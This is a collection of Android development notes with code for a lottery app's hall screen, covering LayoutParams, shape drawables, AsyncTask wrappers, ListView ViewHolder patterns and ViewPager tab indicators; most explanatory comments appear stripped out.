												case	ConstantValue.VIEW_SECONDVIEW:
																showGameBottom();
																break;
												}
								}
				}
}



1----
2----
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1
view.inflateroot(inflate)
root:A	view	group	that	will	be	the	parent.	Used	to	properly	inflate	the	layout_*	parameters.
//ViewGrouplayout_*	parameters

	
① View	view	=	View.inflate(...,null)

② null
nullviewLayoutParamsnull,
View	result	=	root;
ViewGroup.LayoutParams	params	=	null;
/*

rootbullLayoutParamsnull
android:layout_widthandroid:layout_height

LayoutParams



*/
if	(root	!=	null)	{
				if	(DEBUG)	{
								System.out.println("Creating	params	from	root:	"	+
																root);
				}
				//	Create	layout	params	that	match	root,	if	supplied
				params	=	root.generateLayoutParams(attrs);
				if	(!attachToRoot)	{
								//	Set	the	layout	params	for	temp	if	we	are	not
								//	attaching.	(If	we	are,	we	use	addView,	below)
								temp.setLayoutParams(params);
				}
}
layout_heightlayout_width
③ viewLayoutParams
@Override
public	View	getView()	{
				View	view	=	View.inflate(context,	R.layout.zl_hall,	null);
				//	rootnullsetLayoutParams
				LayoutParams	params	=	new	LayoutParams(LayoutParams.MATCH_PARENT,	LayoutParams.
				view.setLayoutParams(params);
				return	view;
}



2 shapeshape
<?xml	version="1.0"	encoding="utf-8"?>
<!--	gradient				startcolorendcolor	
					android:startColor	
					android:endColor	
					android:angle	,90°
-->
<!--	solid							-->
<!--	stroke						-->
<!--	corners					-->
<!--	padding					android:padding_leftandroid:padding_right	-->
<shape	xmlns:android="http://schemas.android.com/apk/res/android"
				android:shape="rectangle"	>
				<corners	android:radius="30dp"/>	//
				<gradient
								android:angle="270"
								android:endColor="#0000ff"
								android:startColor="#FF0000"	/>
				<!--	270°	-->
</shape>	



① org.xmlpull.v1.XmlPullParserException:	Binary	XML	file	line	#16<gradient>	tag	requires	'angle'
attribute	to	be	a	multiple	of	45

	
② android:angle45°
android:angle
startcolor
endcolor

→(0°)↑(90°)←(180°)↓(270°)
0°

	
45°

	
90°

	
135°

	
180°

	
270°



	

BaseViewBaseViewOnClickListener
onclick()

1init()setListener()
2 showView
protected	ViewGroup	showView;		
/**
	*	
	*	@return
	*/
public	View	getView()	{
				if	(showView.getLayoutParams()	==	null)	{//	nullLayoutParams
								LayoutParams	params	=	new	LayoutParams(LayoutParams.MATCH_PARENT,	LayoutParams.
								showView.setLayoutParams(params);
				}
				return	showView;
}		
3showView findViewById() findViewById
/**
					*	 	
					*	@param	resId
					*	@return
					*/
				protected		View	findViewById(int	resId)	{
								return	showView.findViewById(resId);
				}
				



——

①Thread
②AsyncTask
③

AsyncTask

④BaseViewAsyncTask
⑤executeProxyexecute
⑥onPostExecute
1HallView.java
/**
					*	
					*/
				public	void	getCurrentIssueInfo(){
								//	3AsyncTaskBaseView
								new	MyHttpAsyncTask<Integer>()	{
												@Override
												protected	Message	doInBackground(Integer...	params)	{
																//	1
																CommonInfoEngine	infoEngine	=	EngineFactory.getEngineImplInstance(CommonInfoEngine.
																//	2
																Message	message	=	infoEngine.getCurrentIssueInfo(params[0]);
																return	message;
												}
								}.executeProxy(ConstantValue.SSQ);
								//	2,start()
								//	new	MyThread().start();
								//	1()
								//	if	(NetUtil.checkNetwork(context))	{//	
								//	new	MyThread().start();
								//	}	else	{//	,
								//	PromptManager.showNoNetWork(context);
								//	}
				}
				
				/**
					*	
					*	



					*	@author	hacket
					*/
				//	private	class	MyThread	extends	Thread	{
				//	@Override
				//	public	void	run()	{
				//	}
				//	@Override
				//	public	synchronized	void	start()	{
				//	if	(NetUtil.checkNetwork(context))	{//	
				//	super.start();
				//	}	else	{//	,
				//	PromptManager.showNoNetWork(context);
				//	}
				//	}
				//	}
2BaseView.java
/**
	*	
	*	
	*	@author	hacket
	*	@param	<Params>
	*/
//	 Params xmlMessage
public	abstract	class	MyHttpAsyncTask<Params>	extends	AsyncTask<Params,	Void,	Message>	{
				
				//	1doInBackgroundabstract
				//	2executeexecute()
				//	3execute()final
				//	4
				/**
					*	@param	params
					*	@return
					*/
				public	final	AsyncTask<Params,	Void,	Message>	executeProxy(Params...	params)	{
								if	(NetUtil.checkNetwork(context))	{//	
												return	execute(params);
								}	else	{//	
												PromptManager.showNoNetWork(context);
								}
								return	null;
				}





ListView
①convertView,View
②ViewHolderfindViewById()id
③ListViewListViewitem
viewHolder.tv.setTag(position)position
ListView.findViewWithTag(position)View
④ListView

1ListView
①android:divider	=	"@null"	
②android:listSelector	=	"@android/color/white"	
2ListViewTag
①
convertView.setTag(viewHolder);
②(ListViewid)
viewHolder.tv.setTag(position)	//position
3ListViewadapter.notifyDataSetChanged()
ListViewitemListView
①List<TextView>	tvtv
② ①ListViewListView,viewHolder.tv.setTag(position)
position()tv:
ListView.findViewWithTag(position);positionListView
4notifyDataSetChanged()findViewWithTag()
①ListViewitemnotifyDataSetChanged();
②Item,
5ListView
ListView(item)

ListView
				1 Adapter
				2

Map positionkey adapternotifay
adaptergetViewTextViewList TextView
ViewfindViewWithTag

				3
①	



②	

package	cn.zengfansheng.lottery.view;
import	org.apache.commons.lang3.StringUtils;
import	android.content.Context;
import	android.view.View;
import	android.view.View.OnClickListener;
import	android.view.ViewGroup;
import	android.widget.BaseAdapter;
import	android.widget.ImageView;
import	android.widget.LinearLayout;
import	android.widget.ListView;
import	android.widget.TextView;
import	cn.zengfansheng.lottery.ConstantValue;
import	cn.zengfansheng.lottery.R;
import	cn.zengfansheng.lottery.engine.CommonInfoEngine;
import	cn.zengfansheng.lottery.factory.EngineFactory;
import	cn.zengfansheng.lottery.net.protocol.Message;
import	cn.zengfansheng.lottery.net.protocol.Olement;
import	cn.zengfansheng.lottery.net.protocol.element.CurrentIssueElement;
import	cn.zengfansheng.lottery.util.LogUtil;
import	cn.zengfansheng.lottery.util.PromptManager;
public	class	HallView	extends	BaseView	{

				//	************************************//
				private	static	final	String	TAG	=	"HallView";
				//	
				private	static	final	int[]	LOGORESIDS	=		{	R.drawable.id_ssq,	R.drawable.id_3d,	R.drawable.
				
				private	static	final	int[]	TITLERESIDS	=			{	R.string.is_hall_ssq_title,	R.string.is_hall_3d_title
				
				//listview
				private	ListView	categoryList;
				//adapter
				private	LotteryAdapter	adapter;
				
				//		
				//	private	Map<Integer,	String>	data;

				//	
				//	private	List<TextView>	tvLotterySummary;
				//	************************************//



				public	HallView(Context	context)	{
								super(context);
				}
				//	********************ListViewViewHolder****************//
				private	static	class	ViewHolder	{
								private	ImageView	ivHallLotteryLogo;//	 Logo
								private	TextView	tvHallLotteryTitle;//	Title
								private	TextView	tvHallLotterySummary;//	
								private	ImageView	ivHallLotteryBet;//	
				}
				private	class	LotteryAdapter	extends	BaseAdapter{
//								private		int[]	LOGORESIDS	=		{	R.drawable.id_ssq,	R.drawable.id_3d,	R.drawable.id_qlc	};
//								private		int[]	TITLERESIDS	=			{	R.string.is_hall_ssq_title,	R.string.is_hall_3d_title,	R.string.is_hall_qlc_title	};
								
								@Override
								public	int	getCount()	{
												return	LOGORESIDS.length;//	FIXME:logoResIdsLotteryAdapter
								}
								@Override
								public	Object	getItem(int	position)	{
												return	null;
								}
								@Override
								public	long	getItemId(int	position)	{
												return	position;
								}
								@Override
								public	View	getView(final	int	position,	View	convertView,	ViewGroup	parent)	{
												
												LogUtil.i(TAG,	"getView");
												View	view	=	null;
												ViewHolder	viewHolder	=	null;
												if	(convertView	!=	null	&&	convertView	instanceof	LinearLayout)	{
																view	=	convertView;
																viewHolder	=	(ViewHolder)	view.getTag();
												}	else	{
																view	=	View.inflate(context,	R.layout.zl_hall_lottery_item,	null);
																
																viewHolder	=	new	ViewHolder();
																viewHolder.ivHallLotteryLogo	=	(ImageView)	view.findViewById(R.id.iv_hall_lottery_logo_zl
																viewHolder.tvHallLotteryTitle	=	(TextView)	view.findViewById(R.id.tv_hall_lottery_title_zl
																viewHolder.tvHallLotterySummary	=	(TextView)	view.findViewById(R.id.tv_hall_lottery_summary_zl



																viewHolder.ivHallLotteryBet	=	(ImageView)	view.findViewById(R.id.iv_hall_lottery_bet_zl
																
																//	tvHallLotterySummary
																//	tvLotterySummary.add(viewHolder.tvHallLotterySummary);

																//	
																viewHolder.tvHallLotterySummary.setTag(position);//	tag

																view.setTag(viewHolder);//	tag
												}
												//	logo
												viewHolder.ivHallLotteryLogo.setImageResource(LOGORESIDS[position]);
												//	title
												viewHolder.tvHallLotteryTitle.setText(TITLERESIDS[position]);

												//	map
												//String	info	=	data.get(position);
												//if	(StringUtils.isNotBlank(info))	{
												//				viewHolder.tvHallLotterySummary.setText(info);
												//}

												viewHolder.ivHallLotteryBet.setOnClickListener(new	OnClickListener()	{
																
																@Override
																public	void	onClick(View	v)	{
																				switch	(position)	{
																												case	0://	
																																				//	TODO:	bet
																								
																								break;
																								}
																				}
												});
												return	view;
								}
				}	
				
				//	************************************//
				/**
					*	1
					*/
				public	void	init()	{



								//	1showView
								showView	=	(ViewGroup)	View.inflate(context,	R.layout.zl_hall,	null);
								
								//	2 listview
								categoryList	=	(ListView)	showView.findViewById(R.id.lv_category_selector);

								//	()
								//	data	=	new	HashMap<Integer,	String>();

								//	TextViewListViewList
								//	tvLotterySummary	=	new	ArrayList<TextView>();

								//	3adapter
								adapter	=	new	LotteryAdapter();
								
								//	4adapter
								categoryList.setAdapter(adapter);
				}
				
				@Override
				public	void	setListener()	{
				}
				@Override
				public	void	onResume()	{
								getCurrentIssueInfo();
				}
				@Override
				public	int	getViewId()	{
								return	ConstantValue.VIEW_HALL;
				}
				//	******************************************************//
				/**
					*	
					*	
					*	@param	element
					*/
				private	void	changeNotice(CurrentIssueElement	element)	{
								String	info	=	context.getResources().getString(
																R.string.is_hall_common_summary);
								//	
								String	issue	=	element.getIssue();
								//	



								String	lasttime	=	element.getLasttime();
								info	=	StringUtils.replaceEach(info,	new	String[]	{	"ISSUE",	"TIME"	},
																new	String[]	{	issue,	getLasttime(lasttime)	});

								//	Map<Integer,String>
								//	data(())
								//	 listviewitem
								//	data.put(0,	info);
								//	adapter.notifyDataSetChanged();//	 listviewitem

								//	 listviewtextview,TextViewitem
								//	getViewTextView
								//	ListViewList
								//	TextView	tvSummery	=	tvLotterySummary.get(0);
								//	tvSummery.setText(info);

								//	tag
								TextView	tvSummery	=	(TextView)	categoryList.findViewWithTag(0);//	
								tvSummery.setText(info);

												//	note:notifyDataSetChanged()findViewWithTag()
								//	①ListViewitemnotifyDataSetChanged();
								//	②Item,
								//	③ListViewListView(item)
				}
				
				//	********************************************************************//
				/**
					*	()
					*/
				public	void	getCurrentIssueInfo(){
								//	3AsyncTaskBaseView
								new	MyHttpAsyncTask<Integer>()	{
												@Override
												protected	Message	doInBackground(Integer...	params)	{
																//	1
																CommonInfoEngine	infoEngine	=	EngineFactory.getEngineImplInstance(CommonInfoEngine.
																//	2
																Message	message	=	infoEngine.getCurrentIssueInfo(params[0]);
																return	message;
												}
												@Override



												protected	void	onPostExecute(Message	result)	{
																super.onPostExecute(result);
																//	
																if	(result	!=	null)	{//	messagenull
																				Olement	olement	=	result.getBody().getOlement();
																				if	(0	==	(olement.getErrorcode()))	{//	0
																								CurrentIssueElement	element	=	(CurrentIssueElement)	result.getBody().getElements().get(0);
																								changeNotice(element);
																				}	else	{//	
																								PromptManager.showToast(context,	olement.getErrormsg());
																				}
																}	else	{//	
																				PromptManager.showToast(context,	"" );
																}
												}
								}.executeProxy(ConstantValue.SSQ);
				}
				/**
					*	
					*	
					*	@param	lasttime
					*	@return
					*/
				public	String	getLasttime(String	lasttime)	{
								StringBuffer	result	=	new	StringBuffer();
								if	(StringUtils.isNumericSpace(lasttime))	{
												int	time	=	Integer.parseInt(lasttime);
												int	day	=	time	/	(24	*	60	*	60);
												result.append(day).append("" );
												if	(day	>	0)	{
																time	=	time	-	day	*	24	*	60	*	60;
												}
												int	hour	=	time	/	3600;
												result.append(hour).append("" );
												if	(hour	>	0)	{
																time	=	time	-	hour	*	60	*	60;
												}
												int	minute	=	time	/	60;
												result.append(minute).append("" );
								}
								return	result.toString();
				}



	}
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ViewPager

android.support.v4.view.ViewPager		android.support.v4.view.PagerTabStrip
0android.support.v4.view.PagerTabStrip
1.ViewPager	PagerTabStripClassNotFount			
2.APIxmlPagerTabStripViewPager			
3.PagerTabStripandroid:layout_gravity=TOP|BOTTOMtitle
4.PagerTabStriptitle,ViewPageradaptergetPageTitle(int)
1
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	>
				<android.support.v4.view.ViewPager
								android:id="@+id/view_pager"
								android:layout_width="match_parent"
								android:layout_height="match_parent"	>
								<android.support.v4.view.PagerTabStrip
												android:id="@+id/pager_tabstrip"
												android:layout_width="match_parent"
												android:layout_height="wrap_content"	>
								</android.support.v4.view.PagerTabStrip>
				</android.support.v4.view.ViewPager>
</RelativeLayout>
2
package	cn.zengfansheng.viewpager;
import	java.util.ArrayList;
import	java.util.List;
import	android.app.Activity;
import	android.graphics.Color;
import	android.os.Bundle;
import	android.support.v4.view.PagerAdapter;
import	android.support.v4.view.PagerTabStrip;
import	android.support.v4.view.ViewPager;
import	android.view.View;
import	android.view.ViewGroup;
import	android.widget.TextView;
public	class	ViewPagerActivity	extends	Activity	{

				private	ViewPager	viewPager;
				private	PagerTabStrip	pagerTabStrip;



				private	MyPagerAdapter	myPagerAdapter;
				private	List<TextView>	views;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_view_pager);
								init();
				}
				/**
					*	
					*/
				public	void	init()	{
								//	
								views	=	new	ArrayList<TextView>();
								for	(int	i	=	0;	i	<	4;	i++)	{
												TextView	tView	=	new	TextView(this);
												tView.setText("viewpager" 	+	i);
												views.add(tView);
								}
								//	pageradapter
								viewPager	=	(ViewPager)	this.findViewById(R.id.view_pager);
								//	adapter
								myPagerAdapter	=	new	MyPagerAdapter();
								viewPager.setAdapter(myPagerAdapter);
				}
				/**
					*	
					*/
				public	void	tabStrip(){
								//	
								pagerTabStrip	=	(PagerTabStrip)	this.findViewById(R.id.pager_tabstrip);
								pagerTabStrip.setDrawFullUnderline(false);//	
								pagerTabStrip.setTabIndicatorColor(Color.RED);//	
				}
				//	*********************PagerAdapter**************************//
				private	final	static	String[]	TITLES	=	new	String[]	{	"" ,	"" ,	"" 	,"" };
				private	class	MyPagerAdapter	extends	PagerAdapter	{
								@Override
								public	void	startUpdate(ViewGroup	container)	{
												super.startUpdate(container);
												System.out.println("startUpdate");
								}



								//	
								@Override
								public	int	getCount()	{
												System.out.println("getCount()");
												return	views.size();
								}
								@Override
								public	boolean	isViewFromObject(View	view,	Object	object)	{
												System.out.println("isViewFromObject()");
												return	view	==	object;
								}
								//	,
								@Override
								public	Object	instantiateItem(ViewGroup	container,	int	position)	{
												System.out.println("instantiateItem()");
												TextView	tv	=	views.get(position);
												container.addView(tv);
												return	tv;
								}
								//	,
								@Override
								public	void	destroyItem(ViewGroup	container,	int	position,	Object	object)	{
												//	super.destroyItem(container,	position,	object);//FIXME:
												System.out.println("destroyItem");
												//	container.removeViewAt(position);
												//
The	specified	child	already	has	a	parent.	You	must	call	removeView()	on	the	child's	parent	first.
												container.removeView(views.get(position));
								}
								@Override
								public	void	finishUpdate(ViewGroup	container)	{
												super.finishUpdate(container);
												System.out.println("finishUpdate");
								}
								//	
								@Override
								public	CharSequence	getPageTitle(int	position)	{
												return	TITLES[position];
								}
				}
}



		



1 ViewPager
()
①layout<android.support.v4.view.ViewPager
								android:id="@+id/ii_viewpager"
								android:layout_width="match_parent"
								android:layout_height="match_parent"	/>
②PagerAdapter

instantiateItem(ViewGroup,	int)
destroyItem(ViewGroup,	int,	Object)
getCount()
isViewFromObject(View,	Object)

③
PagerAdaptergetPageTitle PagerTabStrip

PagerTabStrip ViewPager
2 android:scaleType="matrix"
fitXYxy
fitStart	
matrix
AndroidBox0.5.rar
<!--		-->
<ImageView
				android:id="@+id/iv_category_selector_zl"
				android:layout_width="fill_parent"
				android:layout_height="wrap_content"
				android:scaleType="matrix"
				android:src="@drawable/id_category_selector"
				tools:ignore="ContentDescription"	/>



1
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				xmlns:tools="http://schemas.android.com/tools"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<!--		-->
				<LinearLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:background="@drawable/zd_id_item_bg"
								android:clickable="true"
								android:focusable="true"
								android:gravity="center_vertical"	>
								<ImageView
												android:id="@+id/iv_bell_zl"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_marginLeft="10dip"



												android:src="@drawable/id_bell"
												tools:ignore="ContentDescription"	/>
								<TextView
												android:id="@+id/tv_purchase_activity_title_zl"
												android:layout_width="match_parent"
												android:layout_height="wrap_content"
												android:layout_marginBottom="5dip"
												android:layout_marginLeft="4dip"
												android:layout_marginTop="5dip"
												android:text="@string/is_ssq_default_notice"
												android:textColor="@android:color/black"	/>
				</LinearLayout>
				<!--		-->
				<LinearLayout
								android:id="@+id/ll_lottery_category_zl"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:orientation="horizontal"	>
								<TextView
												android:id="@+id/tv_category_fc_zl"
												android:layout_width="0dip"
												android:layout_height="wrap_content"
												android:layout_weight="1.0"
												android:gravity="center_horizontal"
												android:text="@string/is_category_fc"
												android:textColor="@android:color/black"
												android:textSize="18sp"	/>
								<TextView
												android:id="@+id/tv_category_tc_zl"
												android:layout_width="0dip"
												android:layout_height="wrap_content"
												android:layout_weight="1.0"
												android:gravity="center_horizontal"
												android:text="@string/is_category_tc"
												android:textColor="@android:color/black"
												android:textSize="18sp"	/>
								<TextView
												android:id="@+id/tv_category_gpc_zl"
												android:layout_width="0dip"
												android:layout_height="wrap_content"
												android:layout_weight="1.0"
												android:gravity="center_horizontal"



												android:text="@string/is_category_gpc"
												android:textColor="@android:color/black"
												android:textSize="18sp"	/>
				</LinearLayout>
				<!--		scaleType-->
				
				<ImageView
								android:id="@+id/iv_category_selector_zl"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:scaleType="matrix"
								android:src="@drawable/id_category_selector"
								tools:ignore="ContentDescription"	/>
				<!--	ViewPager	-->
				<android.support.v4.view.ViewPager
								android:id="@+id/vp_category_hall_zl"
								android:layout_width="match_parent"
								android:layout_height="match_parent"	>
				</android.support.v4.view.ViewPager>
</LinearLayout>
2
package	cn.zengfansheng.lottery.view;

	

import	java.util.ArrayList;

import	java.util.List;

	

import	org.apache.commons.lang3.StringUtils;

	

import	android.content.Context;

import	android.support.v4.view.PagerAdapter;

import	android.support.v4.view.ViewPager;

import	android.view.View;

import	android.view.View.OnClickListener;

import	android.view.ViewGroup;

import	android.widget.BaseAdapter;

import	android.widget.ImageView;

import	android.widget.LinearLayout;

import	android.widget.ListView;

import	android.widget.TextView;

import	cn.zengfansheng.lottery.ConstantValue;

import	cn.zengfansheng.lottery.R;

import	cn.zengfansheng.lottery.engine.CommonInfoEngine;

import	cn.zengfansheng.lottery.factory.EngineFactory;

import	cn.zengfansheng.lottery.net.protocol.Message;

import	cn.zengfansheng.lottery.net.protocol.Olement;

import	cn.zengfansheng.lottery.net.protocol.element.CurrentIssueElement;

import	cn.zengfansheng.lottery.util.LogUtil;

import	cn.zengfansheng.lottery.util.PromptManager;

	



public	class	HallView	extends	BaseView	{

	

				//	************************************//

				private	static	final	String	TAG	=	"HallView";

	

				//	

				private	static	final	int[]	LOGORESIDS	=		{	R.drawable.id_ssq,

R.drawable.id_3d,	R.drawable.id_qlc	};

	

				private	static	final	int[]	TITLERESIDS	=			{	R.string.is_hall_ssq_title,

R.string.is_hall_3d_title,	R.string.is_hall_qlc_title	};

	

				//		

				//	private	Map<Integer,	String>	data;

	

				//	TextView

				//	private	List<TextView>	tvLotterySummary;

	

				//	************************************//

				public	HallView(Context	context)	{

								super(context);

				}

	

				//	********************ViewPagerPagerAdapter****************//

	

				private	final	static	String[]	TITLES	=	new	String[]	{	"" ,	"" ,	""

};

				//	ViewPager

				private	ViewPager	vpViewPager;

				//	ViewPagerAdapter

				private	MyPagetAdapter	myPagetAdapter;

	

				//	

				private	List<View>	views;

	

				//adapter

				private	class	MyPagetAdapter	extends	PagerAdapter{

								@Override

								public	int	getCount()	{

												return	TITLES.length;

								}

	

								@Override

								public	boolean	isViewFromObject(View	view,	Object	object)	{

												return	view	==	object;

								}

	

								@Override

								public	Object	instantiateItem(ViewGroup	container,	int	position)	{

	

												View	view	=	views.get(position);

												container.addView(view);

												return	view;

								}

	



								@Override

								public	void	destroyItem(ViewGroup	container,	int	position,	Object

object)	{

												container.removeView(views.get(position));

								}

				}

	

				/**

					*	ViewPager

					*/

				public	void	initViewPager()	{

	

								//	ViewPager

								vpViewPager	=	(ViewPager)

this.findViewById(R.id.vp_category_hall_zl);

	

								//	ViewPager

								myPagetAdapter	=	new	MyPagetAdapter();

								vpViewPager.setAdapter(myPagetAdapter);

	

								vpViewPager.addView(categoryList);

								//	listViews.add(categoryList);

	

				}

	

				/**

					*	ViewPager

					*/

				public	void	initViews(){

								//

								views	=	new	ArrayList<View>();

								views.add(categoryList);

	

								TextView	tv	=	new	TextView(context);

	

								tv.setText("" );

								views.add(tv);

	

								tv	=	new	TextView(context);

	

								tv.setText("" );

								views.add(tv);

				}

	

				//	********************ListViewViewHolder****************//

				//	listview

				private	ListView	categoryList;

				//adapter

				private	LotteryAdapter	lotteryAdapter;

	

				private	static	class	ViewHolder	{

								private	ImageView	ivHallLotteryLogo;//	Logo

								private	TextView	tvHallLotteryTitle;//	Title

								private	TextView	tvHallLotterySummary;//	

								private	ImageView	ivHallLotteryBet;//	



				}

	

				private	class	LotteryAdapter	extends	BaseAdapter{

	

//								private		int[]	LOGORESIDS	=		{	R.drawable.id_ssq,

R.drawable.id_3d,	R.drawable.id_qlc	};

//								private		int[]	TITLERESIDS	=			{	R.string.is_hall_ssq_title,

R.string.is_hall_3d_title,	R.string.is_hall_qlc_title	};

	

								@Override

								public	int	getCount()	{

												return	LOGORESIDS.length;//	FIXME:logoResIdsLotteryAdapter

								}

								@Override

								public	Object	getItem(int	position)	{

												return	null;

								}

								@Override

								public	long	getItemId(int	position)	{

												return	position;

								}

								@Override

								public	View	getView(final	int	position,	View	convertView,	ViewGroup

parent)	{

	

												LogUtil.i(TAG,	"getView");

												View	view	=	null;

												ViewHolder	viewHolder	=	null;

												if	(convertView	!=	null	&&	convertView	instanceof	LinearLayout)

{

																view	=	convertView;

																viewHolder	=	(ViewHolder)	view.getTag();

												}	else	{

	

																view	=	View.inflate(context,	R.layout.zl_hall_lottery_item,

null);

	

																viewHolder	=	new	ViewHolder();

																viewHolder.ivHallLotteryLogo	=	(ImageView)

view.findViewById(R.id.iv_hall_lottery_logo_zl);

																viewHolder.tvHallLotteryTitle	=	(TextView)

view.findViewById(R.id.tv_hall_lottery_title_zl);

																viewHolder.tvHallLotterySummary	=	(TextView)

view.findViewById(R.id.tv_hall_lottery_summary_zl);

																viewHolder.ivHallLotteryBet	=	(ImageView)

view.findViewById(R.id.iv_hall_lottery_bet_zl);

	

																//	tvHallLotterySummary

																//	tvLotterySummary.add(viewHolder.tvHallLotterySummary);

	

																//	

																viewHolder.tvHallLotterySummary.setTag(position);//	tag

	

																view.setTag(viewHolder);//	tag

												}



	

												//	logo

											

viewHolder.ivHallLotteryLogo.setImageResource(LOGORESIDS[position]);

												//	title

												viewHolder.tvHallLotteryTitle.setText(TITLERESIDS[position]);

	

												//	map

												//String	info	=	data.get(position);

												//if	(StringUtils.isNotBlank(info))	{

												//				viewHolder.tvHallLotterySummary.setText(info);

												//}

	

												viewHolder.ivHallLotteryBet.setOnClickListener(new

OnClickListener()	{

	

																@Override

																public	void	onClick(View	v)	{

																				switch	(position)	{

																												case	0://	

																																				//	TODO:	bet

	

																								break;

																								}

																				}

												});

												return	view;

								}

				}

	

				/**

					*	ListView

					*/

				public	void	initListView(){

								//	1showView

								showView	=	(ViewGroup)	View.inflate(context,	R.layout.zl_hall,

null);

	

								//	2listview

								//categoryList	=	(ListView)

showView.findViewById(R.id.lv_category_selector);

	

								//	ListViewViewPagerfindViewById

								categoryList	=	new	ListView(context);

	

								//	()

								//	data	=	new	HashMap<Integer,	String>();

	

								//	TextViewListViewList

								//	tvLotterySummary	=	new	ArrayList<TextView>();

	

								//	3adapter

								lotteryAdapter	=	new	LotteryAdapter();

	

								//	4adapter



								categoryList.setAdapter(lotteryAdapter);

				}

	

				//	********************init()****************//

				/**

					*	1

					*/

				public	void	init()	{

	

								//	ListView

								initListView();

	

								//	ViewPager

								initViewPager();

	

								//	ViewPager

								initViews();

				}

	

				//	************************************//

				@Override

				public	void	setListener()	{

				}

				@Override

				public	void	onResume()	{

								getCurrentIssueInfo();

				}

				@Override

				public	int	getViewId()	{

								return	ConstantValue.VIEW_HALL;

				}

	

				//	******************************************************//

	

				/**

					*	

					*

					*	@param	element

					*/

				private	void	changeNotice(CurrentIssueElement	element)	{

	

								String	info	=	context.getResources().getString(

																R.string.is_hall_common_summary);

	

								//	

								String	issue	=	element.getIssue();

								//	

								String	lasttime	=	element.getLasttime();

	

								info	=	StringUtils.replaceEach(info,	new	String[]	{	"ISSUE",	"TIME"

},

																new	String[]	{	issue,	getLasttime(lasttime)	});

	

								//	Map<Integer,String>

								//	data(())



								//	listviewitem

								//	data.put(0,	info);

								//	adapter.notifyDataSetChanged();//	listviewitem

	

								//	listviewtextview,TextViewitem

								//	getViewTextView

								//	ListViewList

								//	TextView	tvSummery	=	tvLotterySummary.get(0);

								//	tvSummery.setText(info);

	

								//	tag

								TextView	tvSummery	=	(TextView)	categoryList.findViewWithTag(0);//	

								tvSummery.setText(info);

	

								//	note:notifyDataSetChanged()findViewWithTag()

								//	①ListViewitemnotifyDataSetChanged();
								//	②Item,
								//	③ListViewListView(item)
	

				}

	

				//	********************************

************************************//

				/**

					*	()

					*/

				public	void	getCurrentIssueInfo(){

	

								//	3AsyncTaskBaseView

								new	MyHttpAsyncTask<Integer>()	{

	

												@Override

												protected	Message	doInBackground(Integer...	params)	{

	

																//	1

																CommonInfoEngine	infoEngine	=

EngineFactory.getEngineImplInstance(CommonInfoEngine.class);

																//	2

																Message	message	=	infoEngine.getCurrentIssueInfo(params[0]);

																return	message;

												}

												@Override

												protected	void	onPostExecute(Message	result)	{

																super.onPostExecute(result);

																//	

																if	(result	!=	null)	{//	messagenull

																				Olement	olement	=	result.getBody().getOlement();

																				if	(0	==	(olement.getErrorcode()))	{//	0

																								CurrentIssueElement	element	=	(CurrentIssueElement)

result.getBody().getElements().get(0);

																								changeNotice(element);

																				}	else	{//	

																								PromptManager.showToast(context,

olement.getErrormsg());

																				}



																}	else	{//	

																				PromptManager.showToast(context,	"" );

																}

												}

								}.executeProxy(ConstantValue.SSQ);

				}

	

				//	********************************

************************************//

				/**

					*	

					*

					*	@param	lasttime

					*	@return

					*/

				public	String	getLasttime(String	lasttime)	{

								StringBuffer	result	=	new	StringBuffer();

								if	(StringUtils.isNumericSpace(lasttime))	{

												int	time	=	Integer.parseInt(lasttime);

												int	day	=	time	/	(24	*	60	*	60);

												result.append(day).append("" );

												if	(day	>	0)	{

																time	=	time	-	day	*	24	*	60	*	60;

												}

												int	hour	=	time	/	3600;

												result.append(hour).append("" );

												if	(hour	>	0)	{

																time	=	time	-	hour	*	60	*	60;

												}

												int	minute	=	time	/	60;

												result.append(minute).append("" );

								}

								return	result.toString();

				}

}
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1
①	DisplayMetrics	
WindowManager	manager	=	(WindowManager)	context.getSystemService(Context.WINDOW_SERVICE
Display	display	=	manager.getDefaultDisplay();
DisplayMetrics	outMetrics	=	new	DisplayMetrics();
display.getMetrics(outMetrics);
float	width	=	outMetrics.widthPixels;
②	getWidth()
width	=	display.getWidth();		
③	getSize()
Point	outSize	=	new	Point();
display.getSize(outSize);
width	=	outSize.x;
④()
public	float	getWindowWidth()	{
				
				WindowManager	manager	=	(WindowManager)	context.getSystemService(Context.WINDOW_SERVICE
				Display	display	=	manager.getDefaultDisplay();
				
				DisplayMetrics	outMetrics	=	new	DisplayMetrics();
				display.getMetrics(outMetrics);
				float	width	=	outMetrics.widthPixels;
				//	int	width	=	0;
				//	android2.3
				//
				int	sdkVersion	=	Build.VERSION.SDK_INT;
				if	(sdkVersion	<	13)	{//	
								LogUtil.i(TAG,	"" 	+	sdkVersion);
								width	=	display.getWidth();
				}	else	{
								LogUtil.i(TAG,	"" 	+	sdkVersion);
								Point	outSize	=	new	Point();
								display.getSize(outSize);
								width	=	outSize.x;
				}
				return	width;
}

2ViewPager
vpViewPager.setOnPageChangeListener(new	OnPageChangeListener(){})



ImageViewscaleType	=“matrix”ImageViewImageView

(GloableParams.winWidth	/	3	-	mapWidth)	/	2
①
WindowManager	manager	=	(WindowManager)	context.getSystemService(Context.WINDOW_SERVICE
Display	display	=	manager.getDefaultDisplay();
DisplayMetrics	outMetrics	=	new	DisplayMetrics();
display.getMetrics(outMetrics);
float	width	=	outMetrics.widthPixels;
②
Bitmap	bitmap=BitmapFactory.decodeResource(context.getResources(),

R.drawable.id_category_selector);

int	imgWidth=bitmap.getWidth();

③
Matrix	matrix	=	new	Matrix();

matrix.postTranslate(left,	0);

selector.setImageMatrix(matrix);

④OnPageChangeListeneronPageSelected
float	fromXDelta	=	currentTab*GlobalParams.WINDOW_WIDTH/titleCount;
float	toXDelta	=	position	*	GlobalParams.WINDOW_WIDTH/titleCount;
Animation	animation	=	new	TranslateAnimation(fromXDelta,	toXDelta,	0,0);
animation.setFillAfter(true);
animation.setDuration(300);
ivSelector.startAnimation(animation);
currentTab	=	position;

package	cn.zengfansheng.lottery.view;

	

import	java.util.ArrayList;

